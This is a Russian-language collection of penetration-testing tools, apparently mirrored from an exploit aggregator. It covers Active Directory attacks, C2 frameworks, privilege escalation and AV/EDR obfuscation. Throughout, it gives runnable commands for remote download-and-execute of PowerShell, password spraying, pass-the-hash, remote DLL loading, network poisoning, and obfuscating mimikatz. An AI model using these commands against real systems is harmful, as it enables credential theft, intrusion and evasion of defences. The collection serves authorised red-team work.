## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LUEMMELSEC-PENTEST-TOOLS-COLLECTION
# Pentest-Tools-Collection
## Active Directory
### AMSI
https://amsi.fail/
### Подборки инструментов
#### WinPwn
https://github.com/S3cur3Th1sSh1t/WinPwn
`Import-Module .\WinPwn.ps1`
`iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')`
#### Ghostpack
https://github.com/GhostPack
Seatbelt, KeeThief, Rubeus, SharpUp ...
#### Powersploit
https://github.com/PowerShellMafia/PowerSploit
PowerView, PowerUp, Get-GPPPassword ...
### Перечисление
#### Bloodhound
https://github.com/BloodHoundAD/BloodHound
`SharpHound.exe -d testdomain.com -c all,gpolocalgroup`
`Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup`
https://github.com/fox-it/BloodHound.py
`bloodhound.py -c all`
#### ADRecon
https://github.com/adrecon/ADRecon
Для запуска ADRecon на хосте, входящем в домен.
`PS C:\> .\ADRecon.ps1`
Для запуска ADRecon на хосте, входящем в домен, от имени другого пользователя.
`PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>`
Для запуска ADRecon на хосте, не входящем в домен, с использованием LDAP.
`PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>`
#### Spraying-Toolkit
https://github.com/byt3bl33d3r/SprayingToolkit
Спрейер для Lync/Skype и OWA, генератор списков слов, конвертер схем именования и т. д.
Спрей OWA
`./atomizer.py owa contoso.com 'Fall2018' emails.txt`
Спрей Lync
`./atomizer lync contoso.com --user-as-pass usernames.txt`
Режим разведки
`./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon`
#### MailSniper
https://github.com/dafthack/MailSniper
Атака на OWA и EWS
Схема именования должна быть похожа на testdomain.com\schmidta или aschmidt -> проверьте схему с помощью модуля msf
`Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt`
`Get-ADUsernameFromEWS -EmailList email-list.txt`
`Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt`
#### msspray
https://github.com/0xZDH/msspray
Инструмент для энумерации и спрея O365
Просто перечисляет пользователей без спрея. Требуется текстовый файл с полными адресами электронной почты вида some-email@example.com
`python3 msspray.py -e -u textfile.txt --wait 10 --verbose`
#### MSOLSpray
https://github.com/dafthack/MSOLSpray
Спрейер для O365
`Import-Module MSOLSpray.ps1`
`Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020`
#### ExchangeRelayX
https://github.com/quickbreach/ExchangeRelayX
Атака на EWS через NTLM-аутентификацию по HTTP.
`./exchangeRelayx.py -t https://mail.quickbreach.com`
#### SharpView
https://github.com/tevora-threat/SharpView
Порт PowerView на .NET
`SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential some-email@example.com/password`
#### CrossLinked
https://github.com/m8r0wn/CrossLinked
Сбор почтовых адресов / пользователей
`python3 crosslinked.py -f '{first}.{last}@domain.com' company_name`
### Постэксплуатация
#### impacket
https://github.com/SecureAuthCorp/impacket
#### Crackmapexec
https://github.com/byt3bl33d3r/CrackMapExec
Официальная документация: https://mpgn.gitbook.io/crackmapexec/
#### SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
#### EvilWinRM
https://github.com/mrnamp/EvilWinRM
Инструмент для взаимодействия с реализацией WS-Management от Microsoft, также известной как PowerShell-Remoting, с Linux-машины.
Также может использоваться для подключения с хэшем вместо пароля.
`ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'`
`ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099`
Кроме того, способен выполнять C#, DLL или donut shellcode прямо в памяти. Исполняемые файлы должны находиться в пути, указанном в аргументе -e.
`Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`
`Dll-loader -http -path http://10.11.12.13/evil.dll`
`Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin`
Также может обходить AMSI, получать билеты Kerberos и так далее ...
#### SharpRDP
https://github.com/rasta-mouse/SharpRDP
Выполняет команды по RDP. Пользователь получит уведомление, если мульти-RDP не включен!
`SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password`
#### Inveigh
https://github.com/Kevin-Robertson/Inveigh
Инструмент PowerShell для спуфинга ADIDNS/LLMNR/mDNS/NBNS/DNS и атак man-in-the-middle
`Import-Module Inveigh.psm1`
`Invoke-Inveigh -Consoleoutput Y`
#### Responder
https://github.com/lgandx/Responder
Отравитель LLMNR/NBT-NS/mDNS
`./Responder.py -I eth0`
## C2
### Covenant
https://github.com/cobbr/Covenant
### PS-Empire
https://github.com/BC-SECURITY/Empire
## Повышение привилегий
### WinPEAS / LinPEAS
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
### SecWiki
https://github.com/SecWiki
Эксплойты для Linux и Windows
### PowerShDll
https://github.com/p3nt4/PowerShdll
PowerShell без PowerShell
`rundll32 PowerShdll,main -w`
### PowerUpSQL
https://github.com/NetSPI/PowerUpSQL
### UACME
https://github.com/hfiref0x/UACME
### Watson
https://github.com/rasta-mouse/Watson
### PrivescCheck
https://github.com/itm4n/PrivescCheck
## Обфускация
### PEzor
https://github.com/phra/PEzor
Обфускация C/C++ бинарников
Новый модуль -> флуктуация ShellCode:
`PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'`
См. https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg
### Donut Syscall fork
https://github.com/S4ntiagoP/donut/tree/syscalls
Форк генератора Donut shellcode / PE с системными вызовами
### amber
https://github.com/EgeBalci/amber
Обфускация C/C++ бинарников
### Invoke-Obfuscation
https://github.com/danielbohannon/Invoke-Obfuscation
Обфускатор PowerShell-скриптов.
### xencrypt / BetterXencrypt
https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt
### AQUARMOURY (in special wraith)
https://github.com/slaeryan/AQUARMOURY
Набор инструментов для обхода AV/EDR и всего такого
root@kitploit:~
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
Обфускатор и шифратор PowerShell-скриптов.
### ISESteroids
https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7
Набор инструментов для PowerShell ISE. Возможности обфускации.
### PS2EXE
https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
Преобразование PS1 в EXE-файл.
### Invoke-Sharploader
https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader
Обёртка для C#-бинарников, которая шифрует полезную нагрузку и расшифровывает её в памяти.
Шифрование бинарника:
`Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc`
Загрузка зашифрованного бинарника из URL:
`Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs`
Загрузка зашифрованного бинарника с диска с аргументами командной строки:
`Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"`
### inceptor
https://github.com/klezVirus/inceptor
Обфускатор для C# и PowerShell
### Chimera
https://github.com/tokyoneon/Chimera
Обфускатор PowerShell-скриптов
### InvisibilityCloak
https://github.com/xforcered/InvisibilityCloak
Обфускатор C#-сборок
### ConfuserEx
https://github.com/yck1509/ConfuserEx
Обфускатор C#-сборок
### Charlotte
https://github.com/9emin1/charlotte
Загрузчик шеллкода через D-Invoke
### AVCleaner
https://github.com/lleon1435/avcleaner
Обфускатор исходного кода C/C++
## Разное
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray
# Веб
JSFScan: https://github.com/KathanP19/JSFScan.sh